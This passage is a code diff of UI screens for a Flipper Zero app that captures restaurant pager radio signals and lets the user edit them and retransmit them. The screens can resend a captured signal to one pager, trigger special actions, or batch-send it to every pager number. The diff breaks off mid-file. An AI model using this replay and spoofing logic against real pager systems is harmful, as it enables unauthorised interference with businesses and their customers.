UiVariableItem* saveAsItem = NULL;
|
||||
UiVariableItem* deleteItem = NULL;
|
||||
|
||||
String stationStr;
|
||||
String pagerStr;
|
||||
String actionStr;
|
||||
String hexStr;
|
||||
String repeatsStr;
|
||||
String frequencyStr;
|
||||
String teStr;
|
||||
int32_t saveAsItemIndex = -1;
|
||||
int32_t deleteItemIndex = -1;
|
||||
|
||||
bool isFromFile;
|
||||
const char* saveAsName = NULL;
|
||||
|
||||
public:
|
||||
EditPagerScreen(
|
||||
AppConfig* config,
|
||||
SubGhzModule* subghz,
|
||||
PagerReceiver* receiver,
|
||||
PagerDataGetter pagerGetter,
|
||||
bool isFromFile
|
||||
) {
|
||||
this->config = config;
|
||||
this->subghz = subghz;
|
||||
this->receiver = receiver;
|
||||
this->getPager = pagerGetter;
|
||||
this->isFromFile = isFromFile;
|
||||
|
||||
StoredPagerData* pager = getPager();
|
||||
PagerDecoder* decoder = receiver->decoders[pager->decoder];
|
||||
PagerProtocol* protocol = receiver->protocols[pager->protocol];
|
||||
uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
|
||||
|
||||
varItemList = new VariableItemListUiView();
|
||||
varItemList->SetOnDestroyHandler(HANDLER(&EditPagerScreen::destroy));
|
||||
varItemList->SetEnterPressHandler(HANDLER_1ARG(&EditPagerScreen::enterPressed));
|
||||
|
||||
varItemList->AddItem(
|
||||
encodingItem = new UiVariableItem(
|
||||
"Encoding", pager->decoder, receiver->decodersCount, HANDLER_1ARG(&EditPagerScreen::encodingValueChanged)
|
||||
)
|
||||
);
|
||||
|
||||
varItemList->AddItem(stationItem = new UiVariableItem("Station", HANDLER_1ARG(&EditPagerScreen::stationValueChanged)));
|
||||
varItemList->AddItem(pagerItem = new UiVariableItem("Pager", HANDLER_1ARG(&EditPagerScreen::pagerValueChanged)));
|
||||
updatePagerIsEditable();
|
||||
|
||||
varItemList->AddItem(
|
||||
actionItem = new UiVariableItem(
|
||||
"Action",
|
||||
decoder->GetActionValue(pager->data),
|
||||
decoder->GetActionsCount(),
|
||||
HANDLER_1ARG(&EditPagerScreen::actionValueChanged)
|
||||
)
|
||||
);
|
||||
|
||||
varItemList->AddItem(hexItem = new UiVariableItem("HEX value", HANDLER_1ARG(&EditPagerScreen::hexValueChanged)));
|
||||
varItemList->AddItem(protocolItem = new UiVariableItem("Protocol", protocol->GetSystemName()));
|
||||
varItemList->AddItem(
|
||||
frequencyItem = new UiVariableItem(
|
||||
"Frequency", frequencyStr.format("%lu.%02lu", frequency / 1000000, (frequency % 1000000) / 10000)
|
||||
)
|
||||
);
|
||||
varItemList->AddItem(
|
||||
teItem = new UiVariableItem(
|
||||
"TE", pager->te / TE_DIV, protocol->GetMaxTE() / TE_DIV, HANDLER_1ARG(&EditPagerScreen::teValueChanged)
|
||||
)
|
||||
);
|
||||
varItemList->AddItem(
|
||||
repeatsItem = new UiVariableItem(
|
||||
"Signal Repeats", repeatsStr.format(pager->repeats == MAX_REPEATS ? "%d+" : "%d", pager->repeats)
|
||||
)
|
||||
);
|
||||
|
||||
if(canSave()) {
|
||||
const char* saveAsItemName = isFromFile ? "Save / Rename" : "Save signal as...";
|
||||
saveAsItemIndex = varItemList->AddItem(saveAsItem = new UiVariableItem(saveAsItemName, ""));
|
||||
}
|
||||
|
||||
if(canDelete()) {
|
||||
deleteItemIndex = varItemList->AddItem(deleteItem = new UiVariableItem("Delete station", ""));
|
||||
}
|
||||
}
|
||||
|
||||
private:
|
||||
bool canSave() {
|
||||
return !receiver->IsKnown(getPager()) || this->isFromFile;
|
||||
}
|
||||
|
||||
bool canDelete() {
|
||||
return isFromFile;
|
||||
}
|
||||
|
||||
String* currentStationName() {
|
||||
return receiver->GetName(getPager());
|
||||
}
|
||||
|
||||
void updatePagerIsEditable() {
|
||||
StoredPagerData* pager = getPager();
|
||||
int pagerNum = receiver->decoders[pager->decoder]->GetPager(pager->data);
|
||||
if(pagerNum < UINT8_MAX) {
|
||||
pagerItem->SetSelectedItem(pagerNum, UINT8_MAX);
|
||||
} else {
|
||||
pagerItem->SetSelectedItem(0, 1);
|
||||
}
|
||||
}
|
||||
|
||||
void enterPressed(int32_t index) {
|
||||
if(index == saveAsItemIndex) {
|
||||
saveAs();
|
||||
} else if(index == deleteItemIndex) {
|
||||
DialogUiView* removeConfirmation = new DialogUiView("Really delete?", currentStationName()->cstr());
|
||||
removeConfirmation->AddLeftButton("Nope");
|
||||
removeConfirmation->AddRightButton("Yup");
|
||||
removeConfirmation->SetResultHandler(HANDLER_1ARG(&EditPagerScreen::confirmDelete));
|
||||
|
||||
UiManager::GetInstance()->PushView(removeConfirmation);
|
||||
} else {
|
||||
transmitMessage();
|
||||
}
|
||||
}
|
||||
|
||||
void confirmDelete(DialogExResult result) {
|
||||
if(result == DialogExResultRight) {
|
||||
AppFileSysytem().DeletePager(receiver->GetCurrentUserCategory(), getPager());
|
||||
receiver->ReloadKnownStations();
|
||||
UiManager::GetInstance()->PopView(false);
|
||||
}
|
||||
}
|
||||
|
||||
void transmitMessage() {
|
||||
StoredPagerData* pager = getPager();
|
||||
PagerProtocol* protocol = receiver->protocols[pager->protocol];
|
||||
uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
|
||||
subghz->Transmit(protocol->CreatePayload(pager->data, pager->te, config->SignalRepeats), frequency);
|
||||
|
||||
FlipperDolphin::Deed(DolphinDeedSubGhzSend);
|
||||
}
|
||||
|
||||
void saveAs() {
|
||||
TextInputUiView* nameInputView = new TextInputUiView("Enter station name", NAME_MIN_LENGTH, NAME_MAX_LENGTH);
|
||||
String* name = currentStationName();
|
||||
if(name != NULL) {
|
||||
nameInputView->SetDefaultText(name);
|
||||
}
|
||||
nameInputView->SetResultHandler(HANDLER_1ARG(&EditPagerScreen::saveAsHandler));
|
||||
UiManager::GetInstance()->PushView(nameInputView);
|
||||
}
|
||||
|
||||
void saveAsHandler(const char* name) {
|
||||
saveAsName = name;
|
||||
|
||||
UiManager::GetInstance()->ShowLoading();
|
||||
UiManager::GetInstance()->PushView(
|
||||
(new SelectCategoryScreen(true, User, HANDLER_2ARG(&EditPagerScreen::categorySelected)))->GetView()
|
||||
);
|
||||
}
|
||||
|
||||
void categorySelected(CategoryType, const char* category) {
|
||||
StoredPagerData* pager = getPager();
|
||||
PagerDecoder* decoder = receiver->decoders[pager->decoder];
|
||||
PagerProtocol* protocol = receiver->protocols[pager->protocol];
|
||||
uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
|
||||
|
||||
AppFileSysytem().SaveToUserCategory(category, saveAsName, pager, decoder, protocol, frequency);
|
||||
FlipperDolphin::Deed(DolphinDeedSubGhzSave);
|
||||
|
||||
receiver->ReloadKnownStations();
|
||||
|
||||
for(int i = 0; i < 3; i++) {
|
||||
UiManager::GetInstance()->PopView(false);
|
||||
}
|
||||
}
|
||||
|
||||
const char* encodingValueChanged(uint8_t index) {
|
||||
StoredPagerData* pager = getPager();
|
||||
PagerDecoder* decoder = receiver->decoders[index];
|
||||
pager->decoder = index;
|
||||
|
||||
if(stationItem != NULL) {
|
||||
stationItem->Refresh();
|
||||
}
|
||||
if(pagerItem != NULL) {
|
||||
updatePagerIsEditable();
|
||||
pagerItem->Refresh();
|
||||
}
|
||||
if(actionItem != NULL) {
|
||||
actionItem->SetSelectedItem(decoder->GetActionValue(pager->data), decoder->GetActionsCount());
|
||||
}
|
||||
return receiver->decoders[pager->decoder]->GetShortName();
|
||||
}
|
||||
|
||||
const char* stationValueChanged(uint8_t) {
|
||||
StoredPagerData* pager = getPager();
|
||||
return stationStr.fromInt(receiver->decoders[pager->decoder]->GetStation(pager->data));
|
||||
}
|
||||
|
||||
const char* pagerValueChanged(uint8_t newPager) {
|
||||
StoredPagerData* pager = getPager();
|
||||
PagerDecoder* decoder = receiver->decoders[pager->decoder];
|
||||
if(pagerItem->Editable() && newPager != decoder->GetPager(pager->data)) {
|
||||
pager->data = decoder->SetPager(pager->data, newPager);
|
||||
pager->edited = true;
|
||||
|
||||
if(hexItem != NULL) {
|
||||
hexItem->Refresh();
|
||||
}
|
||||
}
|
||||
return pagerStr.fromInt(decoder->GetPager(pager->data));
|
||||
}
|
||||
|
||||
const char* actionValueChanged(uint8_t value) {
|
||||
StoredPagerData* pager = getPager();
|
||||
PagerDecoder* decoder = receiver->decoders[pager->decoder];
|
||||
if(decoder->GetActionValue(pager->data) != value) {
|
||||
pager->data = decoder->SetActionValue(pager->data, value);
|
||||
pager->edited = true;
|
||||
}
|
||||
|
||||
if(hexItem != NULL) {
|
||||
hexItem->Refresh();
|
||||
}
|
||||
|
||||
uint8_t actionValue = decoder->GetActionValue(pager->data);
|
||||
PagerAction action = decoder->GetAction(pager->data);
|
||||
const char* actionDesc = PagerActions::GetDescription(action);
|
||||
|
||||
return actionStr.format("%d (%s)", actionValue, actionDesc);
|
||||
}
|
||||
|
||||
const char* hexValueChanged(uint8_t) {
|
||||
StoredPagerData* pager = getPager();
|
||||
return hexStr.format("%06X", (unsigned int)pager->data);
|
||||
}
|
||||
|
||||
const char* teValueChanged(uint8_t newTeIndex) {
|
||||
StoredPagerData* pager = getPager();
|
||||
if(newTeIndex != pager->te / TE_DIV) {
|
||||
int teDiff = pager->te % TE_DIV;
|
||||
int newTe = newTeIndex * TE_DIV + teDiff;
|
||||
|
||||
pager->te = newTe;
|
||||
pager->edited = true;
|
||||
}
|
||||
|
||||
return teStr.format("%d", pager->te);
|
||||
}
|
||||
|
||||
void destroy() {
|
||||
delete encodingItem;
|
||||
delete stationItem;
|
||||
delete pagerItem;
|
||||
delete actionItem;
|
||||
delete hexItem;
|
||||
delete frequencyItem;
|
||||
delete teItem;
|
||||
delete protocolItem;
|
||||
delete repeatsItem;
|
||||
|
||||
if(saveAsItem != NULL) {
|
||||
delete saveAsItem;
|
||||
}
|
||||
|
||||
if(deleteItem != NULL) {
|
||||
delete deleteItem;
|
||||
}
|
||||
|
||||
delete this;
|
||||
}
|
||||
|
||||
public:
|
||||
UiView* GetView() {
|
||||
return varItemList;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,76 @@
|
||||
#pragma once
|
||||
|
||||
#include "app/AppConfig.hpp"
|
||||
|
||||
#include "lib/ui/view/UiView.hpp"
|
||||
#include "lib/ui/view/SubMenuUiView.hpp"
|
||||
#include "lib/ui/UiManager.hpp"
|
||||
|
||||
#include "app/AppNotifications.hpp"
|
||||
|
||||
#include "SelectCategoryScreen.hpp"
|
||||
#include "ScanStationsScreen.hpp"
|
||||
|
||||
class MainMenuScreen {
|
||||
private:
|
||||
AppConfig* config;
|
||||
SubMenuUiView* menuView;
|
||||
|
||||
public:
|
||||
MainMenuScreen(AppConfig* config) {
|
||||
this->config = config;
|
||||
|
||||
menuView = new SubMenuUiView("Chief Cooker");
|
||||
menuView->AddItem("Scan for station signals", HANDLER_1ARG(&MainMenuScreen::scanStationsMenuPressed));
|
||||
menuView->AddItem("Saved stations database", HANDLER_1ARG(&MainMenuScreen::stationDatabasePressed));
|
||||
menuView->AddItem("About / Manual", HANDLER_1ARG(&MainMenuScreen::aboutPressed));
|
||||
menuView->SetOnDestroyHandler(HANDLER(&MainMenuScreen::destroy));
|
||||
}
|
||||
|
||||
UiView* GetView() {
|
||||
return menuView;
|
||||
}
|
||||
|
||||
private:
|
||||
void scanStationsMenuPressed(uint32_t) {
|
||||
UiManager::GetInstance()->ShowLoading();
|
||||
UiManager::GetInstance()->PushView((new ScanStationsScreen(config))->GetView());
|
||||
}
|
||||
|
||||
void stationDatabasePressed(uint32_t) {
|
||||
SubMenuUiView* savedMenuView = new SubMenuUiView("Select database");
|
||||
savedMenuView->AddItem("Saved by you", HANDLER_1ARG(&MainMenuScreen::savedStationsPressed));
|
||||
savedMenuView->AddItem("Autosaved", HANDLER_1ARG(&MainMenuScreen::autosavedStationsPressed));
|
||||
UiManager::GetInstance()->PushView(savedMenuView);
|
||||
}
|
||||
|
||||
void savedStationsPressed(uint32_t) {
|
||||
UiManager::GetInstance()->ShowLoading();
|
||||
UiManager::GetInstance()->PushView(
|
||||
(new SelectCategoryScreen(false, User, HANDLER_2ARG(&MainMenuScreen::categorySelected)))->GetView()
|
||||
);
|
||||
}
|
||||
|
||||
void autosavedStationsPressed(uint32_t) {
|
||||
UiManager::GetInstance()->ShowLoading();
|
||||
UiManager::GetInstance()->PushView(
|
||||
(new SelectCategoryScreen(false, Autosaved, HANDLER_2ARG(&MainMenuScreen::categorySelected)))->GetView()
|
||||
);
|
||||
}
|
||||
|
||||
void categorySelected(CategoryType categoryType, const char* category) {
|
||||
UiManager::GetInstance()->ShowLoading();
|
||||
UiManager::GetInstance()->PushView((new ScanStationsScreen(config, categoryType, category))->GetView());
|
||||
}
|
||||
|
||||
void aboutPressed(uint32_t index) {
|
||||
UNUSED(index);
|
||||
|
||||
Notification::Play(&NOTIFICATION_PAGER_RECEIVE);
|
||||
menuView->SetItemLabel(index, "Developed by Denr01!");
|
||||
}
|
||||
|
||||
void destroy() {
|
||||
delete this;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,160 @@
|
||||
#pragma once
|
||||
|
||||
#include "lib/String.hpp"
|
||||
#include "app/AppConfig.hpp"
|
||||
#include "app/pager/data/StoredPagerData.hpp"
|
||||
#include "app/pager/decoder/PagerDecoder.hpp"
|
||||
#include "app/pager/protocol/PagerProtocol.hpp"
|
||||
#include "lib/hardware/subghz/SubGhzModule.hpp"
|
||||
#include "lib/ui/view/UiView.hpp"
|
||||
#include "lib/ui/view/SubMenuUiView.hpp"
|
||||
#include "app/screen/BatchTransmissionScreen.hpp"
|
||||
#include "lib/FlipperDolphin.hpp"
|
||||
#include "lib/ui/UiManager.hpp"
|
||||
|
||||
class PagerActionsScreen {
|
||||
private:
|
||||
AppConfig* config;
|
||||
SubMenuUiView* submenu;
|
||||
PagerDecoder* decoder;
|
||||
PagerProtocol* protocol;
|
||||
SubGhzModule* subghz;
|
||||
PagerDataGetter getPager;
|
||||
BatchTransmissionScreen* batchTransmissionScreen;
|
||||
|
||||
String headerStr;
|
||||
String resendToAllStr;
|
||||
String resendToCurrentStr;
|
||||
String** actionsStrings;
|
||||
|
||||
uint32_t currentBatchFrequency;
|
||||
uint32_t currentPager = 0;
|
||||
bool transmittingBatch = false;
|
||||
|
||||
public:
|
||||
PagerActionsScreen(
|
||||
AppConfig* config,
|
||||
PagerDataGetter pagerGetter,
|
||||
PagerDecoder* decoder,
|
||||
PagerProtocol* protocol,
|
||||
SubGhzModule* subghz
|
||||
) {
|
||||
this->config = config;
|
||||
this->getPager = pagerGetter;
|
||||
this->decoder = decoder;
|
||||
this->protocol = protocol;
|
||||
this->subghz = subghz;
|
||||
|
||||
StoredPagerData* pager = getPager();
|
||||
PagerAction currentAction = decoder->GetAction(pager->data);
|
||||
uint8_t actionValue = decoder->GetActionValue(pager->data);
|
||||
uint16_t stationNum = decoder->GetStation(pager->data);
|
||||
uint16_t pagerNum = decoder->GetPager(pager->data);
|
||||
|
||||
submenu = new SubMenuUiView(headerStr.format("Station %d actions", stationNum));
|
||||
submenu->SetOnDestroyHandler(HANDLER(&PagerActionsScreen::destroy));
|
||||
submenu->SetOnReturnToViewHandler(HANDLER(&PagerActionsScreen::onReturn));
|
||||
|
||||
submenu->AddItem(
|
||||
resendToAllStr.format("Resend %d (%s) to ALL", actionValue, PagerActions::GetDescription(currentAction)),
|
||||
HANDLER_1ARG(&PagerActionsScreen::resendToAll)
|
||||
);
|
||||
|
||||
if(currentAction == UNKNOWN) {
|
||||
submenu->AddItem(
|
||||
resendToCurrentStr.format("Resend only to pager %d", pagerNum), HANDLER_1ARG(&PagerActionsScreen::resendSingle)
|
||||
);
|
||||
}
|
||||
|
||||
actionsStrings = new String*[decoder->GetSupportedActionsCount()];
|
||||
for(size_t actionIndex = 0, i = 0; actionIndex < PagerActionCount; actionIndex++) {
|
||||
PagerAction action = static_cast<enum PagerAction>(actionIndex);
|
||||
if(!decoder->IsSupported(action)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if(PagerActions::IsPagerActionSpecial(action)) {
|
||||
actionsStrings[i] = new String("Trigger action %s", PagerActions::GetDescription(action));
|
||||
} else {
|
||||
actionsStrings[i] = new String("%s only pager %d", PagerActions::GetDescription(action), pagerNum);
|
||||
}
|
||||
|
||||
submenu->AddItem(actionsStrings[i]->cstr(), [this, action](uint32_t) { sendAction(action); });
|
||||
i++;
|
||||
}
|
||||
|
||||
subghz->SetTransmitCompleteHandler(HANDLER(&PagerActionsScreen::txComplete));
|
||||
}
|
||||
|
||||
private:
|
||||
void resendToAll(uint32_t) {
|
||||
currentPager = 0;
|
||||
transmittingBatch = true;
|
||||
currentBatchFrequency = FrequencyManager::GetInstance()->GetFrequency(getPager()->frequency);
|
||||
|
||||
batchTransmissionScreen = new BatchTransmissionScreen(config->MaxPagerForBatchOrDetection);
|
||||
UiManager::GetInstance()->PushView(batchTransmissionScreen->GetView());
|
||||
sendCurrentPager();
|
||||
|
||||
FlipperDolphin::Deed(DolphinDeedSubGhzSend);
|
||||
}
|
||||
|
||||
void resendSingle(uint32_t) {
|
||||
StoredPagerData* pager = getPager();
|
||||
uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
|
||||
subghz->Transmit(protocol->CreatePayload(pager->data, pager->te, config->SignalRepeats), frequency);
|
||||
|
||||
FlipperDolphin::Deed(DolphinDeedSubGhzSend);
|
||||
}
|
||||
|
||||
void sendAction(PagerAction action) {
|
||||
StoredPagerData* pager = getPager();
|
||||
uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
|
||||
subghz->Transmit(
|
||||
protocol->CreatePayload(decoder->SetAction(pager->data, action), pager->te, config->SignalRepeats), frequency
|
||||
);
|
||||
|
||||
FlipperDolphin::Deed(DolphinDeedSubGhzSend);
|
||||
}
|
||||
|
||||
void sendCurrentPager() {
|
||||
StoredPagerData* pager = getPager();
|
||||
batchTransmissionScreen->SetProgress(currentPager, config->MaxPagerForBatchOrDetection);
|
||||
subghz->Transmit(
|
||||
protocol->CreatePayload(decoder->SetPager(pager->data, currentPager), pager->te, config->SignalRepeats),
|
||||
currentBatchFrequency
|
||||
);
|
||||
}
|
||||
|
||||
void txComplete() {
|
||||
if(transmittingBatch) {
|
||||
if(++currentPager <= config->MaxPagerForBatchOrDetection) {
|
||||
sendCurrentPager();
|
||||
return;
|
||||
} else {
|
||||
transmittingBatch = false;
|
||||
UiManager::GetInstance()->PopView(false);
|
||||
}
|
||||
}
|
||||
|
||||
subghz->DefaultAfterTransmissionHandler();
|
||||
}
|
||||
|
||||
void onReturn() {
|
||||
transmittingBatch = false;
|
||||
}
|
||||
|
||||
void destroy() {
|
||||
subghz->SetTransmitCompleteHandler(NULL);
|
||||
for(size_t i = 0; i < decoder->GetSupportedActionsCount(); i++) {
|
||||
delete actionsStrings[i];
|
||||
}
|
||||
delete[] actionsStrings;
|
||||
delete this;
|
||||
}
|
||||
|
||||
public:
|
||||
UiView* GetView() {
|
||||
return submenu;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,282 @@
|
||||
#pragma once
|
||||
|
||||
#include "SettingsScreen.hpp"
|
||||
#include "lib/hardware/subghz/data/SubGhzReceivedDataStub.hpp"
|
||||
#include "lib/ui/view/ColumnOrientedListUiView.hpp"
|
||||
|
||||
#include "EditPagerScreen.hpp"
|
||||
#include "PagerActionsScreen.hpp"
|
||||
|
||||
#include "lib/hardware/subghz/SubGhzModule.hpp"
|
||||
|
||||
#include "app/AppConfig.hpp"
|
||||
#include "app/AppNotifications.hpp"
|
||||
#include "app/pager/PagerReceiver.hpp"
|
||||
|
||||
static int8_t stationScreenColumnOffsets[]{
|
||||
3, // station name (if known)
|
||||
3, // hex
|
||||
49, // station
|
||||
72, // pager
|
||||
94, // action
|
||||
128 - 8 // repeats / edit flag
|
||||
};
|
||||
static Font stationScreenColumnFonts[]{
|
||||
FontSecondary, // station name (if known)
|
||||
FontBatteryPercent, // hex
|
||||
FontSecondary, // station
|
||||
FontSecondary, // pager
|
||||
FontBatteryPercent, // action
|
||||
FontBatteryPercent, // repeats
|
||||
};
|
||||
|
||||
static Align stationScreenColumnAlignments[]{
|
||||
AlignLeft, // station name (if known)
|
||||
AlignLeft, // hex
|
||||
AlignCenter, // station
|
||||
AlignCenter, // pager
|
||||
AlignCenter, // action
|
||||
AlignRight, // repeats
|
||||
};
|
||||
|
||||
class ScanStationsScreen {
|
||||
private:
|
||||
AppConfig* config;
|
||||
ColumnOrientedListUiView* menuView;
|
||||
PagerReceiver* pagerReceiver;
|
||||
SubGhzModule* subghz;
|
||||
bool receiveMode = false;
|
||||
bool updateUserCategory = true;
|
||||
int scanForMoreButtonIndex = -1;
|
||||
uint32_t fromFilePagersCount = 0;
|
||||
|
||||
public:
|
||||
ScanStationsScreen(AppConfig* config) : ScanStationsScreen(config, true, NotSelected, NULL) {
|
||||
}
|
||||
|
||||
ScanStationsScreen(AppConfig* config, CategoryType categoryType, const char* category) :
|
||||
ScanStationsScreen(config, false, categoryType, category) {
|
||||
}
|
||||
|
||||
ScanStationsScreen(AppConfig* config, bool receiveNew, CategoryType categoryType, const char* category) {
|
||||
this->config = config;
|
||||
|
||||
menuView = new ColumnOrientedListUiView(
|
||||
stationScreenColumnOffsets,
|
||||
sizeof(stationScreenColumnOffsets),
|
||||
HANDLER_3ARG(&ScanStationsScreen::getElementColumnName)
|
||||
);
|
||||
menuView->SetOnDestroyHandler(HANDLER(&ScanStationsScreen::destroy));
|
||||
menuView->SetOnReturnToViewHandler([this]() { this->menuView->Refresh(); });
|
||||
menuView->SetGoBackHandler(HANDLER(&ScanStationsScreen::goBack));
|
||||
|
||||
menuView->SetColumnFonts(stationScreenColumnFonts);
|
||||
menuView->SetColumnAlignments(stationScreenColumnAlignments);
|
||||
|
||||
menuView->SetLeftButton("Conf", HANDLER_1ARG(&ScanStationsScreen::showConfig));
|
||||
|
||||
subghz = new SubGhzModule(config->Frequency);
|
||||
subghz->SetReceiveHandler(HANDLER_1ARG(&ScanStationsScreen::receive));
|
||||
if(receiveNew) {
|
||||
subghz->SetReceiveAfterTransmission(true);
|
||||
subghz->ReceiveAsync();
|
||||
}
|
||||
|
||||
pagerReceiver = new PagerReceiver(config);
|
||||
if(categoryType == User) {
|
||||
pagerReceiver->SetUserCategory(category);
|
||||
updateUserCategory = false;
|
||||
|
||||
if(category != NULL) {
|
||||
menuView->SetRightButton("Delete category", HANDLER_1ARG(&ScanStationsScreen::deleteCategory));
|
||||
}
|
||||
} else {
|
||||
pagerReceiver->ReloadKnownStations();
|
||||
}
|
||||
|
||||
if(receiveNew) {
|
||||
if(subghz->IsExternal()) {
|
||||
menuView->SetNoElementCaption("Receiving via EXT...");
|
||||
} else {
|
||||
menuView->SetNoElementCaption("Receiving...");
|
||||
}
|
||||
} else {
|
||||
menuView->SetNoElementCaption("No stations found!");
|
||||
}
|
||||
|
||||
if(!receiveNew) {
|
||||
pagerReceiver->LoadStationsFromDirectory(categoryType, category, HANDLER_1ARG(&ScanStationsScreen::pagerAdded));
|
||||
|
||||
if(categoryType == User && menuView->GetElementsCount() > 0) {
|
||||
scanForMoreButtonIndex = menuView->GetElementsCount();
|
||||
fromFilePagersCount = menuView->GetElementsCount();
|
||||
menuView->AddElement();
|
||||
}
|
||||
}
|
||||
|
||||
receiveMode = receiveNew;
|
||||
}
|
||||
|
||||
UiView* GetView() {
|
||||
return menuView;
|
||||
}
|
||||
|
||||
private:
|
||||
void receive(SubGhzReceivedData* data) {
|
||||
pagerAdded(pagerReceiver->Receive(data));
|
||||
delete data;
|
||||
}
|
||||
|
||||
void pagerAdded(ReceivedPagerData* pagerData) {
|
||||
if(pagerData != NULL) {
|
||||
if(pagerData->IsNew()) {
|
||||
if(receiveMode) {
|
||||
Notification::Play(&NOTIFICATION_PAGER_RECEIVE);
|
||||
}
|
||||
|
||||
if(pagerData->GetIndex() == 0) { // add buttons after capturing the first transmission
|
||||
menuView->SetCenterButton("Actions", HANDLER_1ARG(&ScanStationsScreen::showActions));
|
||||
menuView->SetRightButton("Edit", HANDLER_1ARG(&ScanStationsScreen::editPagerMessage));
|
||||
}
|
||||
|
||||
if(!receiveMode || scanForMoreButtonIndex == -1) {
|
||||
menuView->AddElement();
|
||||
} else {
|
||||
scanForMoreButtonIndex = -1;
|
||||
}
|
||||
}
|
||||
|
||||
if(menuView->IsOnTop()) {
|
||||
menuView->Refresh();
|
||||
}
|
||||
|
||||
delete pagerData;
|
||||
}
|
||||
}
|
||||
|
||||
void getElementColumnName(int index, int column, String* str) {
|
||||
StoredPagerData* pagerData = pagerReceiver->PagerGetter(index)();
|
||||
PagerDecoder* decoder = pagerReceiver->decoders[pagerData->decoder];
|
||||
String* name = pagerReceiver->GetName(pagerData);
|
||||
|
||||
if(index == scanForMoreButtonIndex) {
|
||||
if(column == 0) {
|
||||
if(!receiveMode) {
|
||||
str->format("> Scan here for more");
|
||||
} else {
|
||||
str->format("Scanning...");
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
switch(column) {
|
||||
case 0: // station name
|
||||
if(name != NULL) {
|
||||
str->format("%s", name->cstr());
|
||||
}
|
||||
break;
|
||||
|
||||
case 1: // hex
|
||||
if(name == NULL) {
|
||||
str->format("%06X", pagerData->data);
|
||||
}
|
||||
break;
|
||||
|
||||
case 2: // station
|
||||
if(name == NULL) {
|
||||
str->format("%d", decoder->GetStation(pagerData->data));
|
||||
}
|
||||
break;
|
||||
|
||||
case 3: // pager
|
||||
str->format("%d", decoder->GetPager(pagerData->data));
|
||||
break;
|
||||
|
||||
case 4: // action
|
||||
{
|
||||
PagerAction action = decoder->GetAction(pagerData->data);
|
||||
if(action == UNKNOWN) {
|
||||
str->format("%d", decoder->GetActionValue(pagerData->data));
|
||||
} else {
|
||||
str->format("%.4s", PagerActions::GetDescription(action));
|
||||
}
|
||||
}; break;
|
||||
|
||||
case 5: // repeats or edit flag
|
||||
if(pagerData->edited) {
|
||||
str->format("**");
|
||||
} else if(receiveMode) {
|
||||
str->format("x%d", pagerData->repeats);
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void showConfig(uint32_t) {
|
||||
SettingsScreen* screen = new SettingsScreen(config, pagerReceiver, subghz, updateUserCategory);
|
||||
UiManager::GetInstance()->PushView(screen->GetView());
|
||||
}
|
||||
|
||||
void editPagerMessage(uint32_t index) {
|
||||
if((int)index == scanForMoreButtonIndex) {
|
||||
return;
|
||||
}
|
||||
|
||||
PagerDataGetter getPager = pagerReceiver->PagerGetter(index);
|
||||
EditPagerScreen* screen = new EditPagerScreen(config, subghz, pagerReceiver, getPager, index < fromFilePagersCount);
|
||||
UiManager::GetInstance()->PushView(screen->GetView());
|
||||
}
|
||||
|
||||
void showActions(uint32_t index) {
|
||||
if((int)index == scanForMoreButtonIndex) {
|
||||
if(!receiveMode) {
|
||||
subghz->SetReceiveAfterTransmission(true);
|
||||
subghz->ReceiveAsync();
|
||||
|
||||
receiveMode = true;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
PagerDataGetter getPager = pagerReceiver->PagerGetter(index);
|
||||
StoredPagerData* pagerData = getPager();
|
||||
PagerDecoder* decoder = pagerReceiver->decoders[pagerData->decoder];
|
||||
PagerProtocol* protocol = pagerReceiver->protocols[pagerData->protocol];
|
||||
|
||||
PagerActionsScreen* screen = new PagerActionsScreen(config, getPager, decoder, protocol, subghz);
|
||||
UiManager::GetInstance()->PushView(screen->GetView());
|
||||
}
|
||||
|
||||
bool goBack() {
|
||||
if(receiveMode && menuView->GetElementsCount() > 0) {
|
||||
DialogUiView* confirmGoBack = new DialogUiView("Really stop scan?", "You may loose captured signals");
|
||||
confirmGoBack->AddLeftButton("No");
|
||||
confirmGoBack->AddRightButton("Yes");
|
||||
confirmGoBack->SetResultHandler(HANDLER_1ARG(&ScanStationsScreen::goBackConfirmationHandler));
|
||||
UiManager::GetInstance()->PushView(confirmGoBack);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void deleteCategory(int) {
|
||||
AppFileSysytem().DeleteCategory(pagerReceiver->GetCurrentUserCategory());
|
||||
menuView->SetRightButton("Deleted", NULL);
|
||||
}
|
||||
|
||||
void goBackConfirmationHandler(DialogExResult dialogResult) {
|
||||
if(dialogResult == DialogExResultRight) {
|
||||
UiManager::GetInstance()->PopView(false);
|
||||
}
|
||||
}
|
||||
|
||||
void destroy() {
|
||||
delete subghz;
|
||||
delete pagerReceiver;
|
||||
delete this;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,88 @@
|
||||
#pragma once
|
||||
|
||||
#include "app/AppFileSystem.hpp"
|
||||
#include "lib/ui/UiManager.hpp"
|
||||
#include "lib/ui/view/SubMenuUiView.hpp"
|
||||
#include "lib/ui/view/TextInputUiView.hpp"
|
||||
|
||||
#define MIN_CAT_NAME_LENGTH 2
|
||||
#define MAX_CAT_NAME_LENGTH MAX_FILENAME_LENGTH
|
||||
|
||||
class SelectCategoryScreen {
|
||||
private:
|
||||
SubMenuUiView* menu;
|
||||
CategoryType categoryType;
|
||||
forward_list<char*> categories;
|
||||
function<void(CategoryType, const char*)> categorySelectedHandler;
|
||||
TextInputUiView* nameInput;
|
||||
char* categoryAddedName;
|
||||
|
||||
public:
|
||||
SelectCategoryScreen(
|
||||
bool canCreateNew,
|
||||
CategoryType categoryType,
|
||||
function<void(CategoryType, const char*)> categorySelectedHandler
|
||||
) {
|
||||
this->categoryType = categoryType;
|
||||
this->categorySelectedHandler = categorySelectedHandler;
|
||||
|
||||
menu = new SubMenuUiView("Select category");
|
||||
